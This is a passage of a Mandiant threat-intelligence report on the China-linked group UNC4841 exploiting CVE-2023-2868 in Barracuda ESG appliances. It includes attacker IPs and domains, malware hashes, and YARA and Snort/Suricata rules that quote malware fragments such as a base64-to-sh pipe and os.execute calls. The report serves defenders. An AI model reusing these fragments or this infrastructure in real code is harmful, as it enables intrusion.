<redacted>::25 open

<redacted>:25 open

<redacted>:587 open

<redacted>:443 open

[*] NetInfo:

[*]<redacted>

   [->]<redacted>

   [->]<redacted>

[*] WebTitle: https://<redacted>       code:200 len:701    title:IIS Windows
Server

<redacted>:25 open

<redacted>:443 open

[*] LiveTop <redacted>/16     段存活数量为: 65

[*] LiveTop <redacted>/16     段存活数量为: 26

[*] LiveTop <redacted>/16     段存活数量为: 13

<redacted>:25 open

<redacted>:587 open

<redacted>:53 open

<redacted>:389 open


TARGETING

Targeted organizations have spanned public and private sectors worldwide. A
majority of exploitation activity appears to impact the Americas; however, that
may partially reflect the product’s customer base (Figure 4).

Figure 4: Affected organizations by region

Almost a third of identified affected organizations were government agencies
(Figure 5), supporting the assessment that the campaign had an espionage
motivation. Further, in the set of entities selected for focused data
exfiltration, shell scripts were uncovered that targeted email domains and users
from ASEAN Ministry of Foreign Affairs (MFAs), as well as foreign trade offices
and academic research organizations in Taiwan and Hong Kong. In addition, the
actors searched for email accounts belonging to individuals working for a
government with political or strategic interest to the PRC at the same time that
this victim government was participating in high-level, diplomatic meetings with
other countries.

Figure 5: Government agencies worldwide appear to have been disproportionately
targeted

Based on the evidence available at the time of analysis, earliest compromises
appear to have occurred on a small subset of appliances geo-located to mainland
China. The C2 communications utilized during this early set of compromises also
leveraged port 8080 while later compromises that occurred globally almost
entirely leveraged port- 443 or port 25.


ATTRIBUTION 

Mandiant assesses with high confidence that UNC4841 conducted espionage activity
in support of the People’s Republic of China. While Mandiant has not attributed
this activity to a previously known threat group at this time, we have
identified several infrastructure and malware code overlaps that provide us with
a high degree of confidence that this is a China-nexus espionage operation.
Additionally, the targeting, both at the organizational and individual account
levels, focused on issues that are high policy priorities for the PRC,
particularly in the Asia Pacific region including Taiwan. 


OUTLOOK AND IMPLICATIONS

UNC4841 has shown to be highly responsive to defensive efforts and actively
modifies TTPs to maintain their operations. Mandiant strongly recommends
impacted Barracuda customers continue to hunt for this actor and investigate
affected networks. We expect UNC4841 will continue to alter their TTPs and
modify their toolkit, especially as network defenders continue to take action
against this adversary and their activity is further exposed by the infosec
community. Recommendations and detection rules are provided in following
sections.


RECOMMENDATIONS 

In alignment with Barracuda’s guidance released on May 31, 2023, Mandiant
recommends immediate replacement of compromised ESG appliances, regardless of
patch level. Additional guidance for replacing an impacted appliance can be
found on Barracuda’s Trust Center.

In addition, Mandiant recommends all impacted organizations perform an
investigation and hunting activities within their networks. An investigation may
include, but is not limited to the following:

 * Sweep the impacted environment for all IOCs provided by both Mandiant and
   Barracuda.
 * Review email logs to identify the initial point of exposure.
 * Revoke and rotate all domain-based and local credentials that were on the ESG
   at the time of compromise.
 * Revoke and reissue all certificates that were on the ESG at the time of
   compromise.
 * Monitor the entire environment for the use of credentials that were on the
   ESG at time of compromise.
 * Monitor the entire environment for use of certificates that were on the ESG
   at time of compromise.
 * Review network logs for signs of data exfiltration and lateral movement.
 * Capture a forensic image of the appliance and conduct a forensic analysis.
   * Physical appliance models can be imaged following standard procedures. Most
     models have two (2) hot-swappable drives in a RAID1 configuration. 
   * The provided YARA rules can be applied to appliance images to assist
     forensic investigators. 

In order to aid organizations in their investigations, Mandiant has published a
compilation of IOCs observed to date which can be found at the end of the post.

Along with this blog post, Mandiant has produced a detailed Architecture
Hardening guide to assist organizations with this event. The document contains
guidance on the following key items:

 * Network Communication Restrictions
 * Patching and Updates
 * Credential Rotation and Segmentation
 * Logging and Hunting
 * Infrastructure Lateral Movement Hardening


ACKNOWLEDGEMENTS

Beyond the listed authors are dozens of consultants and analysts who have been
working to help our clients with cases related to exploitation of CVE-2023-2868.
We would also like to specifically thank Barracuda’s Incident Response Team, the
Mandiant FLARE team, Jakub Jozwiak from Mandiant Adversary Methods as well as
Fernando Tomlinson, Josh Villanueva, and Alyssa Glickman from Mandiant Incident
Response for their invaluable support.


INDICATORS OF COMPROMISE (IOCS)


NETWORK IOCS

IP Address

ASN

Netblock

Location

101.229.146.218

4812

China Telecom

CN

103.146.179.101

136933

Gigabitbank Global

HK

103.27.108.62

132883

Topway Global Limited

HK

103.77.192.13

10222

Multibyte Info Technology Limited

HK

103.77.192.88

10222

Multibyte Info Technology Limited

HK

103.93.78.142

61414

Edgenap Ltd

JP

104.156.229.226

20473

Choopa, LLC

US

104.223.20.222

8100

CloudVPS

US

107.148.149.156

399195

Pegtechinc-ap-04

US

107.148.219.227

54600

Peg Tech

US

107.148.219.53

54600

Peg Tech

US

107.148.219.54

54600

Peg Tech

US

107.148.219.55

54600

Peg Tech

US

107.148.223.196

54600

Peg Tech

US

107.173.62.158

20278

Nexeon Technologies

US

137.175.19.25

54600

Peg Tech

US

137.175.28.251

54600

Peg Tech

US

137.175.30.36

54600

Peg Tech

US

137.175.30.86

54600

Peg Tech

US

137.175.51.147

54600

Peg Tech

US

137.175.53.17

54600

Peg Tech

US

137.175.53.170

54600

Peg Tech

US

137.175.53.218

54600

Peg Tech

US

137.175.60.252

54600

Peg Tech

US

137.175.60.253

54600

Peg Tech

US

137.175.78.66

54600

Peg Tech

US

139.84.227.9

20473

Choopa, LLC

ZA

155.94.160.72

8100

CloudVPS

US

182.239.114.135

9231

China Mobile Hong Kong

HK

182.239.114.254

9231

China Mobile Hong Kong

HK

192.74.226.142

54600

Peg Tech

CN

192.74.254.229

54600

Peg Tech

US

198.2.254.219

54600

Peg Tech

US

198.2.254.220

54600

Peg Tech

US

198.2.254.221

54600

Peg Tech

US

198.2.254.222

54600

Peg Tech

US

198.2.254.223

54600

Peg Tech

US

199.247.23.80

20473

Choopa, LLC

DE

213.156.153.34

202422

G-Core Labs S.A.

US

216.238.112.82

20473

Choopa, LLC

BR

23.224.42.29

40065

Cnservers LLC

US

23.224.78.130

40065

Cnservers LLC

US

23.224.78.131

40065

Cnservers LLC

US

23.224.78.132

40065

Cnservers LLC

US

23.224.78.133

40065

Cnservers LLC

US

23.224.78.134

40065

Cnservers LLC

US

37.9.35.217

202422

G-Core Labs S.A.

US

38.54.113.205

138915

Kaopu Cloud HK Limited

MY

38.54.1.82

138915

Kaopu Cloud HK Limited

SG

38.60.254.165

174

Cogent Communications

US

45.63.76.67

20473

Choopa, LLC

US

52.23.241.105

14618

Amazon.com

US

64.176.4.234

20473

Choopa, LLC

US

64.176.7.59

20473

Choopa, LLC

US

Domain

bestfindthetruth[.]com

fessionalwork[.]com

gesturefavour[.]com

goldenunder[.]com

singamofing[.]com

singnode[.]com

togetheroffway[.]com

troublendsef[.]com


ENDPOINT IOCS

Hash

Filename

Type

0d67f50a0bf7a3a017784146ac41ada0

snapshot.tar

Payload Attachment

42722b7d04f58dcb8bd80fe41c7ea09e

11111.tar

Payload Attachment

5392fb400bd671d4b185fb35a9b23fd3

imgdata.jpg

Payload Attachment

ac4fb6d0bfc871be6f68bfa647fc0125

snapshot.tar

Payload Attachment

878cf1de91f3ae543fd290c31adcbda4

snapshot.tar

Payload Attachment

b601fce4181b275954e3f35b18996c92

install_reuse.tar

SALTWATER install

827d507aa3bde0ef903ca5dec60cdec8

mod_udp.so

SALTWATER variant

c56d7b86e59c5c737ee7537d7cf13df1

autoins

SALTWATER install

6f79ef58b354fd33824c96625590c244

intent_reuse

SALTWATER install

349ca242bc6d2652d84146f5f91c3dbb

intentbas

SALTWATER install

1fea55b7c9d13d822a64b2370d015da7

mod_udp.so

SALTWATER variant

64c690f175a2d2fe38d3d7c0d0ddbb6e

mod_udp.so

SALTWATER variant

4cd0f3219e98ac2e9021b06af70ed643

mod_udp.so

SALTWATER variant

3b93b524db66f8bb3df8279a141734bb

mod_rtf.so

SALTWATER variant

8fdf3b7dc6d88594b8b5173c1aa2bc82

mod_rft.so

SALTWATER Variant

4ec4ceda84c580054f191caa09916c68

mod_rft.so

SALTWATER variant

1b1830abaf95bd5a44aa3873df901f28

mod_rft.so

SALTWATER variant

4ca4f582418b2cc0626700511a6315c0

BarracudaMailService

SEASPY Variant

c528b6398c86f8bdcfa3f9de7837ebfe

update_v2.sh

SEASPY Install

2d841cb153bebcfdee5c54472b017af2

rc

SEASPY launcher

c979e8651c1f40d685be2f66e8c2c610

rc

SEASPY launcher

1c042d39ca093b0e7f1412453b132076

rc

SEASPY launcher

ba7af4f98d85e5847c08cf6cefdf35dc

rc

SEASPY launcher

82eaf69de710abdc5dea7cd5cb56cf04

BarracudaMailService

SEASPY Variant

e80a85250263d58cc1a1dc39d6cf3942

BarracudaMailService

SEASPY Variant

5d6cba7909980a7b424b133fbac634ac

BarracudaMailService

SEASPY Variant

1bbb32610599d70397adfdaf56109ff3

BarracudaMailService

SEASPY Variant

4b511567cfa8dbaa32e11baf3268f074

BarracudaMailService

SEASPY Variant

a08a99e5224e1baf569fda816c991045

BarracudaMailService

SEASPY Variant

19ebfe05040a8508467f9415c8378f32

BarracudaMailService

SEASPY Variant

831d41ba2a0036540536c2f884d089f9

sendscd

SEASPY Variant

db4c48921537d67635bb210a9cb5bb52

BarracudaMailService

SEASPY Variant

694cdb49879f1321abb4605adf634935

install_bvp74_auth.tar

SEASPY install

5fdee67c82f5480edfa54afc5a9dc834

install_bvp74_auth.tar

SEASPY install

8fc03800c1179a18fbd58d746596fa7d

update_version

SEASPY launcher

17696a438387248a12cc911fbae8620e

resize_risertab

SEASPY launcher

4c1c2db989e0e881232c7748593d291e

update_version

SEASPY launcher

3e3f72f99062255d6320d5e686f0e212

update_version

SEASPY launcher

7d7fd05b262342a9e8237ce14ec41c3b

update_version

SEASPY launcher

2e30520f8536a27dd59eabbcb8e3532a

update_version

SEASPY launcher

0245e7f9105253ecb30de301842e28e4

update_version

SEASPY launcher

0c227990210e7e9d704c165abd76ebe2

update_version

SEASPY launcher

c7a89a215e74104682880def469d4758

update_version

SEASPY launcher

1bc5212a856f028747c062b66c3a722a

update_version

SEASPY launcher

a45ca19435c2976a29300128dc410fd4

update_version

SEASPY launcher

132a342273cd469a34938044e8f62482

update_version

SEASPY launcher

23f4f604f1a05c4abf2ac02f976b746b

resize2fstab

SEASPY Variant

45b79949276c9cb9cf5dc72597dc1006

resize_reisertab

SEASPY Variant

bef722484288e24258dd33922b1a7148

resize2fstab

SEASPY Variant

0805b523120cc2da3f71e5606255d29c

resize_reisertab

SEASPY Variant

69ef9a9e8d0506d957248e983d22b0d5

resize2fstab

SEASPY Variant

3c20617f089fe5cc9ba12c43c6c072f5

resize2fstab

SEASPY Variant

76811232ede58de2faf6aca8395f8427

resize2fstab

SEASPY Variant

f6857841a255b3b4e4eded7a66438696

resize_reisertab

SEASPY Variant

2ccb9759800154de817bf779a52d48f8

install_helo.tar

SEASIDE Install

cd2813f0260d63ad5adf0446253c2172

mod_require_helo.lua

SEASIDE variant

177add288b289d43236d2dba33e65956

rverify

WHIRLPOOL VARIANT

87847445f9524671022d70f2a812728f

mod_content.lua

SKIPJACK

35cf6faf442d325961935f660e2ab5a0

mod_attachment.lua

SEASPRAY

ce67bb99bc1e26f6cb1f968bc1b1ec21

install_att_v2.tar

SEASPRAY install

e4e86c273a2b67a605f5d4686783e0cc

mknod

SKIPJACK Persistence

ad1dc51a66201689d442499f70b78dea

get_fs_info.pl

SKIPJACK Persistence

9033dc5bac76542b9b752064a56c6ee4

nfsd_stub.ko

SANDBAR

e52871d82de01b7e7f134c776703f696

rverify

WHIRLPOOL Variant

446f3d71591afa37bbd604e2e400ae8b

mknod

SEASPRAY Persistence

666da297066a2596cacb13b3da9572bf

mod_sender.lua

SEASPRAY

436587bad5e061a7e594f9971d89c468

saslautchd

WHIRLPOOL Variant

85c5b6c408e4bdb87da6764a75008adf

rverify

WHIRLPOOL Variant

407738e565b4e9dafb07b782ebcf46b0

test1.sh

Reverse shell cronjob

cb0f7f216e8965f40a724bc15db7510b

update_v35.sh

Bash Script

N/A - multiple version identified

1.sh

Bash Script

19e373b13297de1783cecf856dc48eb0

cl

proxy client

N/A

aacore.sh

reverse shell cronjob

N/A

appcheck.sh

reverse shell cronjob

881b7846f8384c12c7481b23011d8e45

update_v31.sh

Bash Script

f5ab04a920302931a8bd063f27b745cc

intent_helo

Bash Script

N/A

p

Named pipe used in reverse shell

N/A

p7

Named pipe used in reverse shell

N/A

t

Named pipe used in reverse shell

N/A

core.sh

Reverse shell cronjob

N/A

p1

Named pipe used in reverse shell

177add288b289d43236d2dba33e65956

pd

WHIRLPOOL Variant

N/A

b 

Named pipe used in reverse shell

d098fe9674b6b4cb540699c5eb452cb5

test.sh

Reverse shell cronjob

N/A

ss

Named pipe used in reverse shell


DETECTION RULES


YARA RULES

rule M_Hunting_Exploit_Archive_2

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for TAR archives with /tmp/ base64
encoded being part of filename of enclosed files"

        md5 = "0d67f50a0bf7a3a017784146ac41ada0"

    strings:

        $ustar = { 75 73 74 61 72 }

        $b64_tmp = "/tmp/" base64

    condition:

        filesize < 1MB and

        $ustar at 257 and

        for any i in (0 .. #ustar) : (

            $b64_tmp in (i * 512 .. i * 512 + 250)

        )

}

rule M_Hunting_Exploit_Archive_3

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for TAR archive with openssl base64
encoded being part of filename of enclosed files"

        md5 = "0d67f50a0bf7a3a017784146ac41ada0"

    strings:

        $ustar = { 75 73 74 61 72 }

        $b64_openssl = "openssl" base64

    condition:

        filesize < 1MB and

        $ustar at 257 and

        for any i in (0 .. #ustar) : (

            $b64_openssl in (i * 512 .. i * 512 + 250)

        )

}

rule M_Hunting_Exploit_Archive_CVE_2023_2868

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for TAR archive with single
quote/backtick as start of filename of enclosed files. CVE-2023-2868"

        md5 = "0d67f50a0bf7a3a017784146ac41ada0"

    strings:

        $ustar = { 75 73 74 61 72 }

        $qb = "'`"

    condition:

        filesize < 1MB and

        $ustar at 257 and

        for any i in (0 .. #ustar) : (

            $qb at (@ustar[i] + 255)

        )

}

rule M_Hunting_Linux_SALTWATER_1

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in SALTWATER
samples."

        md5 = "827d507aa3bde0ef903ca5dec60cdec8"

    strings:

        $s1 = { 71 75 69 74 0D 0A 00 00 00 33 8C 25 3D 9C 17 70 08 F9 0C 1A 41
71 55 36 1A 5C 4B 8D 29 7E 0D 78 }

        $s2 = { 00 8B D5 AD 93 B7 54 D5 00 33 8C 25 3D 9C 17 70 08 F9 0C 1A 41
71 55 36 1A 5C 4B 8D 29 7E 0D 78 }

        $s3 = { 71 75 69 74 0D 0A 00 00 00 12 8D 03 07 9C 17 92 08 F0 0C 9A 01
06 08 00 1A 0C 0B 8D 18 0A 0D 0A }

    condition:

        uint32(0) == 0x464c457f and any of them

}

rule M_Hunting_Linux_SALTWATER_2

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in SALTWATER
samples."

        md5 = "827d507aa3bde0ef903ca5dec60cdec8"

    strings:

        $c1 = "TunnelArgs"

        $c2 = "DownloadChannel"

        $c3 = "UploadChannel"

        $c4 = "ProxyChannel"

        $c5 = "ShellChannel"

        $c6 = "MyWriteAll"

        $c7 = "MyReadAll"

        $c8 = "Connected2Vps"

        $c9 = "CheckRemoteIp"

        $c10 = "GetFileSize"

        $s1 = "[-] error: popen failed"

        $s2 = "/home/product/code/config/ssl_engine_cert.pem"

        $s3 = "libbindshell.so"

    condition:

        uint32(0) == 0x464c457f and (any of ($s*) or 4 of ($c*))

}

rule FE_Hunting_Linux_Funchook_FEBeta

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in Funchook
library - https://github.com/kubo/funchook"

        md5 = "827d507aa3bde0ef903ca5dec60cdec8"

    strings:

        $f = "funchook_"

        $s1 = "Enter funchook_create()"

        $s2 = "Leave funchook_create() => %p"

        $s3 = "Enter funchook_prepare(%p, %p, %p)"

        $s4 = "Leave funchook_prepare(..., [%p->%p],...) => %d"

        $s5 = "Enter funchook_install(%p, 0x%x)"

        $s6 = "Leave funchook_install() => %d"

        $s7 = "Enter funchook_uninstall(%p, 0x%x)"

        $s8 = "Leave funchook_uninstall() => %d"

        $s9 = "Enter funchook_destroy(%p)"

        $s10 = "Leave funchook_destroy() => %d"

        $s11 = "Could not modify already-installed funchook handle."

        $s12 = "  change %s address from %p to %p"

        $s13 = "  link_map addr=%p, name=%s"

        $s14 = "  ELF type is neither ET_EXEC nor ET_DYN."

        $s15 = "  not a valid ELF module %s."

        $s16 = "Failed to protect memory %p (size=%"

        $s17 = "  protect memory %p (size=%"

        $s18 = "Failed to unprotect memory %p (size=%"

        $s19 = "  unprotect memory %p (size=%"

        $s20 = "Failed to unprotect page %p (size=%"

        $s21 = "  unprotect page %p (size=%"

        $s22 = "Failed to protect page %p (size=%"

        $s23 = "  protect page %p (size=%"

        $s24 = "Failed to deallocate page %p (size=%"

        $s25 = " deallocate page %p (size=%"

        $s26 = "  allocate page %p (size=%"

        $s27 = "  try to allocate %p but %p (size=%"

        $s28 = "  allocate page %p (size=%"

        $s29 = "Could not find a free region near %p"

        $s30 = "  -- Use address %p or %p for function %p"

    condition:

        uint32(0) == 0x464c457f and (#f > 5 or 4 of ($s*))

}

rule M_Hunting_Linux_SEASPY_1

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in SEASPY
samples."

        md5 = "4ca4f582418b2cc0626700511a6315c0"

    strings:

        $s1 = "usage: ./BarracudaMailService <Network-Interface>. e.g.:
./BarracudaMailService eth0"

        $s2 = "NO port code" 

        $s3 = "pcap_lookupnet: %s"

        $s4 = "Child process id:%d"

        $s5 = "[*]Success!"

        $s6 = "enter open tty shell..."

    condition:

        uint32(0) == 0x464c457f and all of ($s*)

}

rule M_Hunting_Lua_SEASIDE_1

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in SEASIDE
samples."

        md5 = "cd2813f0260d63ad5adf0446253c2172"

    strings:

        $s1 = "function on_helo()"

        $s2 = "local bindex,eindex = string.find(helo,'.onion')" 

        $s3 = "helosend = 'pd'..' '..helosend" 

        $s4 = "os.execute(helosend)" 

    condition:

        (filesize < 1MB) and all of ($s*)

}

rule M_Hunting_SKIPJACK_1

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in SKIPJACK
installation script."

        md5 = "e4e86c273a2b67a605f5d4686783e0cc"

    strings:

        $str1 = "hdr:name() == 'Content-ID'" base64

        $str2 = "hdr:body() ~= nil" base64

        $str3 = "string.match(hdr:body(),\"^[%w%+/=\\r\\n]+$\")" base64

        $str4 = "openssl aes-256-cbc" base64

        $str5 = "mod_content.lua" 

        $str6 = "#!/bin/sh" 

    condition:

        all of them

}

rule M_Hunting_Lua_SKIPJACK_2

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in SKIPJACK
samples."

        md5 = "87847445f9524671022d70f2a812728f"

    strings:

        $str1 = "hdr:name() == 'Content-ID'" 

        $str2 = "hdr:body() ~= nil" 

        $str3 = "string.match(hdr:body(),\"^[%w%+/=\\r\\n]+$\")" 

        $str4 = "openssl aes-256-cbc" 

        $str5 = "| base64 -d| sh 2>" 

    condition:

        all of them

}

rule M_Hunting_Lua_SEASPRAY_1

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in SEASPRAY
samples."

        md5 = "35cf6faf442d325961935f660e2ab5a0"

    strings:

        $str1 = "string.find(attachment:filename(),'obt075') ~= nil" 

        $str2 = "os.execute('cp '..tostring(tmpfile)..'
/tmp/'..attachment:filename())" 

        $str3 = "os.execute('rverify'..' /tmp/'..attachment:filename())" 

    condition:

        all of them

}

rule M_Hunting_Linux_WHIRLPOOL_1

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in WHIRLPOOL
samples."

        md5 = "177add288b289d43236d2dba33e65956"

    strings:

        $s1 = "error -1 exit" fullword

        $s2 = "create socket error: %s(error: %d)\n" fullword

        $s3 = "connect error: %s(error: %d)\n" fullword

        $s4 = {C7 00 20 32 3E 26 66 C7 40 04 31 00}

        $c1 = "plain_connect" fullword

        $c2 = "ssl_connect" fullword

        $c3 = "SSLShell.c" fullword

    condition:

        filesize < 15MB and uint32(0) == 0x464c457f and (all of ($s*) or all of
($c*))

}


SNORT/SURICATA

alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_oXmp"; flags:S;
dsize:>9; content:"oXmp"; offset:0; depth:4; threshold:type limit,track
by_src,count 1,seconds 3600; sid:1000000; rev:1;)

 

alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_TfuZ"; flags:S;
dsize:>9; content:"TfuZ"; offset:0; depth:4; threshold:type limit,track
by_src,count 1,seconds 3600; sid:1000001; rev:1;)


SURICATA >= 5.0.4

alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_1358"; flags:S;
tcp.hdr; content:"|05 4e|"; offset:22; depth:2; threshold:type limit,track
by_src,count 1,seconds 3600; sid:1000002; rev:1;)

 

alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_58928"; flags:S;
tcp.hdr; content:"|e6 30|"; offset:28; depth:2;
byte_test:4,>,16777216,0,big,relative; threshold:type limit,track by_src,count
1,seconds 3600; sid:1000003; rev:1;)

 

alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_58930"; flags:S;
tcp.hdr; content:"|e6 32|"; offset:28; depth:2;
byte_test:4,>,16777216,0,big,relative; byte_test:2,>,0,0,big,relative;
threshold:type limit,track by_src,count 1,seconds 3600; sid:1000004; rev:1;)

 

alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_60826"; flags:S;
tcp.hdr; content:"|ed 9a|"; offset:28; depth:2;
byte_test:4,>,16777216,0,big,relative; threshold:type limit,track by_src,count
1,seconds 3600; sid:1000005; rev:1;)

 

alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_60828"; flags:S;
tcp.hdr; content:"|ed 9c|"; offset:28; depth:2;
byte_test:4,>,16777216,0,big,relative; byte_test:2,>,0,0,big,relative;
threshold:type limit,track by_src,count 1,seconds 3600; sid:1000006; rev:1;)


MANDIANT SECURITY VALIDATION ACTIONS

Organizations can validate their security controls using the following actions
with Mandiant Security Validation.

VID

Name

A106-463

Command and Control - UNC4841, DNS Query, Variant #1

A106-464

Malicious File Transfer - SALTWATER, Download, Variant #1

A106-465

Malicious File Transfer - SEASPY, Download, Variant #1

A106-466

Malicious File Transfer - SEASIDE, Download, Variant #1

A106-506

Phishing Email - UNC4841, CVE-2023-2868, Malicious Attachment, Variant #1








Link to RSS feed


HAVE QUESTIONS? LET'S TALK.

Mandiant experts are ready to answer your questions.

Contact Us
 * Follow us
 * 
   
   
   

 * 
   
   
   

 * 
   
   
   

 * 
   
   
   


FOOTER

 * Mandiant Advantage Platform
   * Platform Overview
   * Automated Defense
   * Breach Analytics for Chronicle
   * Security Validation
   * Attack Surface Management
   * Threat Intelligence
   * Digital Threat Monitoring
   * Managed Defense
 * Solutions
   * Proactive Exposure Management
   * Ransomware
   * Industrial Controls & OT
   * Cyber Risk Management
   * Digital Risk Protection
   * Insider Threats
   * Cyber Security Skills Gap
   * Election Security
   * Government Cyber Security
   * Manufacturing
   * Cyber Threat Visibility
   * Attack Surface Visibility
   * Cyber Preparedness
   * Detection and Response
   * Financial Services Cyber Security
 * Services
   * Services Overview
   * Incident Response
   * Strategic Readiness
   * Cyber Security Transformation
   * Technical Assurance
   * View all Services (48)
   * Expertise on Demand
 * Mandiant Academy
   * Overview
   * Education Formats
   * Upcoming Courses
   * On-Demand Courses
   * Certifications
   * ThreatSpace Cyber Range
   * Free Course Sneak Peaks
 * Resources
   * Resource Center
   * Blog
   * Podcasts
   * Customer Stories
   * Reports
   * Webinars
   * Insights
   * eBooks
   * Infographics
   * White Papers
   * Datasheets
 * Company
   * Careers
   * Events
   * Media Center
   * Noteholder and Preferred Shareholder Documents
 * Partners
   * Partners Overview
   * Technology Partners
   * Cyber Risk Partners
   * Service Partners
   * Channel Partners
   * Partner Portal
 * Connect with Mandiant
   * Contact Us
   * Report an Incident
   * Customer Support
   * Email Preferences
   * Customer Success
   * Media Inquiries

© Copyright 2023 Mandiant. All rights reserved.


BOTTOM

 * Website Privacy Policy
 * Terms & Conditions
 * Compliance
 * Site Map



By clicking “Accept All Cookies”, you agree to the storing of cookies on your
device to enhance site navigation, analyze site usage, and assist in our
marketing efforts. Privacy Policy

Cookies Settings Reject All Accept All Cookies



PRIVACY PREFERENCE CENTER

When you visit any website, it may store or retrieve information on your
browser, mostly in the form of cookies. This information might be about you,
your preferences or your device and is mostly used to make the site work as you
expect it to. The information does not usually directly identify you, but it can
give you a more personalized web experience. Because we respect your right to
privacy, you can choose not to allow some types of cookies. Click on the
different category headings to find out more and change our default settings.
However, blocking some types of cookies may impact your experience of the site
and the services we are able to offer.
More information
Allow All


MANAGE CONSENT PREFERENCES

REQUIRED COOKIES

Always Active

These cookies are necessary for the website to function and cannot be switched
off in our systems. They are usually only set in response to actions made by you
which amount to a request for services, such as setting your privacy
preferences, logging in or filling in forms. You can set your browser to block
or alert you about these cookies, but some parts of the site will not then work.
These cookies do not store any personally identifiable information.

PERFORMANCE COOKIES

Performance Cookies

These cookies allow us to count visits and traffic sources so we can measure and
improve the performance of our site. They help us to know which pages are the
most and least popular and see how visitors move around the site. All
information these cookies collect is aggregated and therefore anonymous. If you
do not allow these cookies we will not know when you have visited our site, and
will not be able to monitor its performance.

TARGETING COOKIES

Targeting Cookies

These cookies may be set through our site by our advertising partners. They may
be used by those companies to build a profile of your interests and show you
relevant adverts on other sites. They do not store directly personal
information, but are based on uniquely identifying your browser and internet
device. If you do not allow these cookies, you will experience less targeted
advertising.

Back Button


PERFORMANCE COOKIES



Search Icon
Filter Icon

Clear
checkbox label label
Apply Cancel
Consent Leg.Interest
checkbox label label
checkbox label label
checkbox label label

Reject All Confirm My Choices